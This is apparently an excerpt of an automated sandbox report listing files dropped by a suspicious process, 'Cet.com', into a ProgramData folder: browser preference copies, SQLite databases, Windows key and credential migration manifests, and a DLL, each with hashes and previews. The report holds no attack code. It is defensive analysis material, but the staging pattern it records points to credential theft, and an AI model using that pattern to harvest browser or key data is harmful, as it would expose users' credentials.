SHA-512:	37C6D78CCD807B04834659B5E796424C443B2C4F72481CB4080ED1BC5E6A954E47C4AF837A653DDAAFED2372C4FF60CE442170EA58586AB93C57B841449C5195
Malicious:	false
Preview:	<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. name="Microsoft-Windows-Crypto-keys".. version="0.0.0.0".. processorArchitecture="".. language="neutral".. />.. <migration scope="Upgrade,MigWiz,USMT" .. replacementVersionRange="6.0-6.1".. replacementSettingsVersionRange="0".. settingsVersion="0" .. >.. <migXml xmlns="">.. <rules context="User">.. <include>.. <objectSet>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\RSA\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\DSS\[]</pattern>.. <pattern type="File">%CSIDL_APPDATA%\Microsoft\Crypto\Keys[]</pattern>.. </objectSet>.. </include>.. </rules>..

C:\ProgramData\phlng\lfcjeu

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\m7yuk6

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\phlng\phvai5

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	889
Entropy (8bit):	5.016955029110262
Encrypted:	false
SSDEEP:	24:p/o2e8ZR+Vj3Xg0cjAkt3QbENgwnwJXMFhUK:22e8v+VrgfAbIggwJuX
MD5:	2948FF1C0804EC7DB473BB77EB3FBE4E
SHA1:	98A97AFC0E4E2B09A17AA0746F455DFD24356357
SHA-256:	2F6B99F5915A462CAFF60950839E1498F12C9F8194DB3DA02251C5BD2CAD700E
SHA-512:	8393B3AE7D44A4DD85D05D48768F9123910E603C477A3CACC6BF12D03D464959EC01A293B0B3317B0F8470A76D71F695098AE211DD6200D8F7F21E1C757F4EDA
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-Windows-Security-NGC-PopKeySrv".. processorArchitecture="".. version="0.0.0.0".. />.. <migration.. offlineApply="no".. scope="Upgrade,Data".. settingsVersion="3".. replacementSettingsVersionRange="0-2" .. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\ [*]</pattern>.. </objectSet>.. </include>.. </rules>.. </migXml>.. </migration>..</assembly>..

C:\ProgramData\phlng\pp8q1n

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24008
Entropy (8bit):	6.062446965815151
Encrypted:	false
SSDEEP:	192:GKODczWz9IdqYbN9h+rKipXKuS28xb3HWJvah46Flkzl2W4FWEWSawTyihVWQ4e1:6DiWzGG+mKlxb32JyczEW4FWdwGyUlI
MD5:	6AEAEBF650EFC93CD3B6670A05724FE8
SHA1:	A4FE07E6C678AC8D4DC095997DB5043668D103B4
SHA-256:	C86891B9DF9FEEA2E98F50C9950CB446DB97A513AF0C23810F7CA818A6187329
SHA-512:	5C7E8C7DBAEB22956C774199BAD83312987240D574160B846349C0E237445407FF1CAACD2984BFAD0BBBE6011CC8918AF60A0EBBE82A8561CAFA4DF825ADD183
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: random.exe, Detection: malicious, Browse Filename: 2E02vIiMfd.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: 25xTHcaF7V.exe, Detection: malicious, Browse Filename: test.hta, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse Filename: yoda.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse Filename: script.ps1, Detection: malicious, Browse Filename: Setup.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q..Q..Q..E...S..E...]..Q..t..E...Z..E...P..E...S..E.S.P..E...P..RichQ..................PE..d....Q.!..........",.........$......................................................Bn....`A.........................................<..X....<..x....p..(....`..h....<...!......(....8..T............................0..............(1..0............................text...p........................... ..`.rdata..>....0......................@..@.data...`....P.......0..............@....pdata..h....`.......2..............@..@.rsrc...(....p.......4..............@..@.reloc..(............:..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\r1dbsj

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.861537145678193
Encrypted:	false
SSDEEP:	48:22e8v+phDgrcHreIg/0xJ9U3C0gcj0kqIg/0xJuX:22CphPHyx0ruS0N0kqx0rQ
MD5:	6F0056EC818D4FC20158F3FF190D6D6A
SHA1:	9E2108FE560CC2187395C5EED011559D201CE45D
SHA-256:	2F9596801DBE57D73C292BE4F93BD0C05F6D0A44C7A45F5F03FDBE35993B7DEC
SHA-512:	72C193919EC4402D430CCBCC4F9A9B25DC9AAECBCCAEE666EFE20DA4133964D2382F1090EEB8FB0A3073ACAA7825AF7A62B59447D29F912A19BD4C04CDDF1AD1
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="neutral".. name="Microsoft-CertificateAuthority-Enrollment-ServerUpgrade".. processorArchitecture="".. version="1.0.0.0".. versionScope="nonSxS".. />.. <migration.. alwaysProcess="yes".. replacementSettingsVersionRange="0".. replacementVersionRange="6.1.".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\Software\Microsoft\ADCS\CES [ConfigurationStatus]</pattern>.. </objectSet>.. </include>.. </rules>.. <rules context="System">.. <detects>.. <detect>.. Detection of CES. -

C:\ProgramData\phlng\r1djw4

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4533
Entropy (8bit):	5.1021772201912805
Encrypted:	false
SSDEEP:	96:22X8PvMu0jPvJPM0UJl1/Qi9XexcElVOaBIpgmQlwYBwkbsgobVu:MUnZUb1xXMV37BhgVu
MD5:	477F010FDB6BD5E5E57D6DEC5449F2FB
SHA1:	73F9C03AF35B29EC2404BB70FEDC8C9ADADE74F6
SHA-256:	2DBEDD5D4D6645E9ED45563FDB1DC42387EF24C9CF5D6A08EC3BE448073C4696
SHA-512:	3C630BE96FC7FCD0036D254BA4D197AB31F37F6DAC411F8C78E624B0501D0205AF36CD5A29EC98D96D5D8D88EF2DBB2DF3A62C6F658A93302ECA500B8EC74F2F
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. authors="jeffspel".. buildFilter="".. company="Microsoft".. copyright="".. creationTimeStamp="2005-09-13T14:05:43.4054402-07:00".. lastUpdateTimeStamp="2005-09-13T15:41:02.9208750-08:00".. manifestVersion="1.0".. owners="jeffspel".. supportInformation="".. testers="".. >.. <assemblyIdentity.. buildFilter="".. buildType="release".. language="neutral".. name="Microsoft-Windows-dpapi-keys-DL".. processorArchitecture="*".. publicKeyToken="".. type="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. xmlns="".. scope="Upgrade,MigWiz,USMT".. >.. <machineSpecific>.. <migXml>.. Check as this is only valid for down-level OS < than Windows V

C:\ProgramData\phlng\rimglf

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10219
Entropy (8bit):	4.966520026409024
Encrypted:	false
SSDEEP:	96:NPgBOOzJMk67cY82SGrPVYRjDjXK2F6KJzLLwGXtXqWgrjj31jj6OzJMk67cY82s:UYwP62I+Wr3JjkwP62I+Ws
MD5:	381138FA1B1C4C298AD2441898677ED6
SHA1:	B8A0B0ECAAF6F3BBD7C27DD54ACD4BC3366DD0A4
SHA-256:	D4EE07BC2183E3D013B68B080B9E2F603676B27F8B0C95CCA2ED533BC671FAFA
SHA-512:	095C2B1C129C36125FE17ED096FDE58AE0F8AF61527D9AEDCAB379C3221BF09D87F28846E6FA3CF9FE05C750689A2ADFCDD1AB67409780A12A425A33219858EC
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly>.. <assemblyIdentity.. buildType="release".. language="neutral".. name="Microsoft-Windows-Authentication-AuthUI-Component".. processorArchitecture="*".. publicKeyToken="".. version="0.0.0.0".. versionScope="nonSxS".. />.. <migration.. optimizePatterns="no".. offlineApply="no".. replacementSettingsVersionRange="0".. replacementVersionRange="6.2-10.0".. scope="MigWiz,Upgrade".. settingsVersion="0".. >.. <migXml xmlns="">.. <rules context="System">.. <include>.. <objectSet>.. Downlevel settings -->.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultUserName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon [DefaultDomainName]</pattern>.. <pattern type="Registry">HKLM\Software\Microsof

C:\ProgramData\phlng\sjwt0h

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\phlng\u3wt00

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	4.925445222257812
Encrypted:	false
SSDEEP:	48:227+9gUKl+lxFcCY4/YBu4yTy3opyLyXyoyOyzylpjyA:22Sw+lxaWm3uCL9Gv
MD5:	60145F68B1CF9440FA663820AE11CE4B
SHA1:	10195A2926015E3024D769673E004AA60DFEC0A3
SHA-256:	4805E01EB0C9B3DFEB6B754D4148588E2FB798734D9EDE20E53EB8E75158B64F
SHA-512:	55D088040D25D4CBFF5A4210A85107666E628C67CA3134B0C836E135DBFE82AA4FA70185993E99D951307F7D159C1428B390727DA17EFEC5AA4BE9D799B96895
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>..<assembly.. xmlns="urn:schemas-microsoft-com:asm.v3".. manifestVersion="1.0".. >.. <assemblyIdentity.. language="".. name="Microsoft-Windows-Kerberos-Key-Distribution-Center-DL".. processorArchitecture="".. publicKeyToken="$(Build.WindowsPublicKeyToken)".. version="0.0.0.0".. />.. <migration>.. <machineSpecific>.. <migXml xmlns="">.. Check as this is only valid for down-level OS < than Windows Vista ? -->.. <detects>.. <detect>.. <condition>MigXmlHelper.IsOSEarlierThan("NT", "6.0.0.0")</condition>.. </detect>.. </detects>.. <rules context="System">.. <include>.. <objectSet>.. <pattern type="Registry">HKLM\SYSTEM\CurrentControlSet\Services\kdc\* [*]</pattern>.. </objectSet>.. </include>.. <exclude>.. <objectSet>.. <pattern type="Reg

C:\ProgramData\phlng\xbieu3e3e

Download File

Process:	C:\Users\user\AppData\Local\Temp\815387\Cet.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\09ff3853-8c0a-4d3b-8c4a-a1fb10154af2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.095116937430086
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWdNi1zNtkzaxS9YkIbbTImKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOIzb4KtSmd6qE7lFoC
MD5:	01EFABF9A2352BE84E010095E85A0673
SHA1:	2E50BEB29E511E65928F670003EB0AA47EADFBD1
SHA-256:	70F6620FDB416E8F9DDA567152C3A6240C2BF9A3F291946AA13BE42B1FC04EE6
SHA-512:	39722F83585519E82CF83DCD163C842185CA1D0C9D76C92BCF28BA7BBA8AE53C3B2C350AE938D9FD53E1142B8D6FBF40BA6C4C45A6FFD51A9CDF83480CEAFEB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\70bc31d3-7f81-4f78-998d-3351e6fab61e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.095497360797641
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2Ni1zNtkzaxSNN+MTXwFFPluKJDSgzMMd6qD47u3S:+/Ps+wsI7ynVzb0uKtSmd6qE7lFoC
MD5:	C88991B080B415B039FB4A6840CA8383
SHA1:	4A9B97595519DC630220558512620AE7384F3A10
SHA-256:	68C00AD8AFE7292E4F83B0FBE7766828C10FC0AB09286A51B63593F27F56AA32
SHA-512:	6C271FC0E740CD4A91E2F20AF5C854B56CB599999DE2804FA9D9E73A8E72DEFCD083705268C2317FCBD34873D3372694136DC22843D2CF98FC34AE58E02BD927
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\781aded8-eb2a-4ce9-abe5-2aaffd7f1fbd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0cb9c371-9fd1-40b0-93d1-d24585dca4dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640166853701547
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7j:fwUQC5VwBIiElEd2K57P7j
MD5:	F31FD8A6CEDD22935337E13C8DC79A93
SHA1:	30CCCCC27C35266D73A76BAA762DFF5828F2346F
SHA-256:	C49AC4EBBB25DBD5DF6C5B50E23A7ACFC341A851A02258BA5DEA245DD355BC51
SHA-512:	CD11F36BC2CD8B57FE6E2EB0A2B65A78613D827BD68F0402F831A6808B897221A461955100EAA8D8B2D8A4311CB170B5D4EC7D1ED25A7C1A2834D6950B6A2DA0
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640166853701547
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7j:fwUQC5VwBIiElEd2K57P7j
MD5:	F31FD8A6CEDD22935337E13C8DC79A93
SHA1:	30CCCCC27C35266D73A76BAA762DFF5828F2346F
SHA-256:	C49AC4EBBB25DBD5DF6C5B50E23A7ACFC341A851A02258BA5DEA245DD355BC51
SHA-512:	CD11F36BC2CD8B57FE6E2EB0A2B65A78613D827BD68F0402F831A6808B897221A461955100EAA8D8B2D8A4311CB170B5D4EC7D1ED25A7C1A2834D6950B6A2DA0
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-679E438E-DF0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45176527704615405
Encrypted:	false
SSDEEP:	3072:s3Yb490Gad40W/24CyBgbgFqHVHfxd/AqX7Ekg79tmC0MsZ7g1HF:3b4od74CygbgFmj4qXzg79h0Ms5aH
MD5:	5A96F09B439E6A7A5DA8C2E216455319
SHA1:	FCD8872556C86753A6684029381778D10D0C15E6
SHA-256:	28E99CD34BC8EBF718788AB3ED215DF631DDB0E1B0C46B16801BE28097E1ACD5
SHA-512:	6ECB44CCE49DE3A71F9C0C50C913CB3C67D69411DDB4629756537AB964E473DFCA24ABB3CFFDDAD62EFCCFAA8DA3E089D12303DE423986E769839709AAAFF611
Malicious:	false
